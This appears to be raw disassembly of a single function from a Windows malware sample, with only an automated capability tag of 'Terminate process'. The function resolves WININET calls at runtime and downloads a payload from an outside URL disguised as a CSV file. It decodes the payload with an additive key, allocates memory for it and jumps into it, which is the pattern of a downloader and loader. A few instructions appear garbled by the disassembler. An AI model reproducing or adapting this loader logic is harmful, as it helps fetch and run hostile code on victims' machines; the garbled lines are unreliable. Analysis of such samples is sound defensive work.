Function at 0x14010adc6
Capabilities:
Terminate process

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
mov rcx, qword [str.KERNEL32.dll]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r14, rax
mov esi, dword [0x14019edfc]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edi, edi
mov rcx, rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
xor ecx, ecx
mov rdx, rax
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
nop dword [rax]
movzx ecx, word [rsi + rdi*2]
cmp cx, 0x5c
cmove eax, edi
inc rdi
test cx, cx
jne 0x14010ae16
mov rdi, qword [0x14019edec]
cmp dword [rdi], 0
je 0x14010ae86
cdqe
lea rsi, [rsi + rax*2]
add rsi, 2
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp byte [rdi], al
je 0x14010ae55
cmp byte [rdi + 1], al
jne 0x14010b120
movzx ecx, word [rsi]
xor eax, eax
test cx, cx
je 0x14010ae78
xor eax, eax
mov edx, 1
movzx ecx, cx
add eax, ecx
mov ecx, edx
movzx ecx, word [rsi + rcx*2]
inc edx
test cx, cx
jne 0x14010ae66
cmp eax, dword [rdi + 4]
je 0x14010ae86
cmp eax, dword [rdi + 8]
jne 0x14010b120
mov esi, dword [0x14019edfc]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add al, byte [rax]
mov rcx, rax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
mov rcx, qword [str.WININET.DLL]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
mov rdx, qword [str.InternetOpenA]
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call rdi
mov qword [rsp + 0x48], rax
mov rdx, qword [str.InternetOpenUrlA]
mov rcx, rsi
call rdi
mov qword [rsp + 0x40], rax
mov rdx, qword [str.InternetReadFile]
mov rcx, rsi
call rdi
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x34], 0
mov rax, qword [rsp + 0x48]
mov rcx, qword [str.AgentWin]
mov dword [rsp + 0x20], 0
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call rax
test rax, rax
je 0x14010b120
mov rbx, qword [rsp + 0x40]
mov ecx, dword [0x14019ee28]
mov rdx, qword [str.https:__scolaires.premiersplans.org_csv_profs_decultot_anne_1065.csv]
mov dword [rsp + 0x20], ecx
mov qword [rsp + 0x28], 0
mov rcx, rax
xor r8d, r8d
xor r9d, r9d
call rbx
test rax, rax
je 0x14010b120
mov rsi, rax
mov rax, qword [rsp + 0x38]
mov r8d, dword [0x14019edfc]
lea r9, [rsp + 0x34]
mov rcx, rsi
mov rdx, r15
call rax
test eax, eax
je 0x14010b120
add byte [rax], al
mov eax, dword [rsp + 0x34]
test eax, eax
je 0x14010b120
lea rdi, [rsp + 0x34]
mov rbx, r15
nop word cs:[rax + rax]
mov rcx, rbx
mov ebx, eax
add rbx, rcx
mov rax, qword [rsp + 0x38]
mov r8d, dword [0x14019edfc]
or dword [rax], eax
mov rcx, rsi
mov rdx, rbx
mov r9, rdi
call rax
test eax, eax
je 0x14010afc1
mov eax, dword [rsp + 0x34]
test eax, eax
jne 0x14010af96
cmp rbx, r15
je 0x14010b120
mov eax, dword [r15]
mov rcx, qword [str.46A_S.__tJ9_]
mov ecx, dword [rcx]
add ecx, eax
mov dword [rbx], ecx
mov rcx, qword [str.46A_S.__tJ9_]
mov ecx, dword [rcx + 4]
add ecx, eax
mov dword [rbx + 4], ecx
mov rcx, qword [str.46A_S.__tJ9_]
mov ecx, dword [rcx + 8]
add ecx, eax
mov dword [rbx + 8], ecx
mov rcx, qword [str.46A_S.__tJ9_]
mov ecx, dword [rcx + 0xc]
add ecx, eax
mov dword [rbx + 0xc], ecx
mov rcx, qword [str.46A_S.__tJ9_]
add eax, dword [rcx + 0x10]
mov dword [rbx + 0x10], eax
mov rcx, r14
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14010b120
mov r9d, dword [0x14019ede8]
mov edx, dword [0x14019edfc]
xor ecx, ecx
mov r8d, 0x1000
call rax
mov rdx, qword [0x14019edbc]
mov rcx, qword [0x14019edd4]
mov ebx, ecx
lea rcx, [rdx + rbx]
mov edx, dword [rdx + rbx + 4]
mov rdi, rax
sub rdi, rcx
mov ebx, 8
cmp rdi, 0x1f
jbe 0x14010b0d8
outsd dx, dword [rsi]
movd xmm0, edx
pshufd xmm0, xmm0, 0
mov ebx, 0xe
nop word cs:[rax + rax]
movdqu xmm1, xmmword [rcx + rbx*4 - 0x30]
movdqu xmm2, xmmword [rcx + rbx*4 - 0x20]
paddd xmm1, xmm0
paddd xmm2, xmm0
movdqu xmmword [rax + rbx*4 - 0x30], xmm1
movdqu xmmword [rax + rbx*4 - 0x20], xmm2
cmp rbx, 0x17fe
je 0x14010b0d3
movdqu xmm1, xmmword [rcx + rbx*4 - 0x10]
movdqu xmm2, xmmword [rcx + rbx*4]
paddd xmm1, xmm0
paddd xmm2, xmm0
movdqu xmmword [rax + rbx*4 - 0x10], xmm1
movdqu xmmword [rax + rbx*4], xmm2
add rbx, 0x10
jmp 0x14010b086
mov ebx, 0x5fe8
add rbx, 0xfffffffffffffffc
nop word cs:[rax + rax]
mov edi, dword [rcx + rbx + 4]
add edi, edx
mov dword [rax + rbx + 4], edi
add rbx, 4
cmp rbx, 0x5ffc
jb 0x14010b0e6
mov ecx, dword [0x14019ee54]
mov dword [rax + 8], ecx
mov ecx, dword [reloc.WS2_32.dll_sendto]
add rcx, rax
mov edx, dword [rax + 0xc]
add rdx, rcx
mov ecx, dword [reloc.WS2_32.dll_sendto]
add rcx, rax
call rdx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]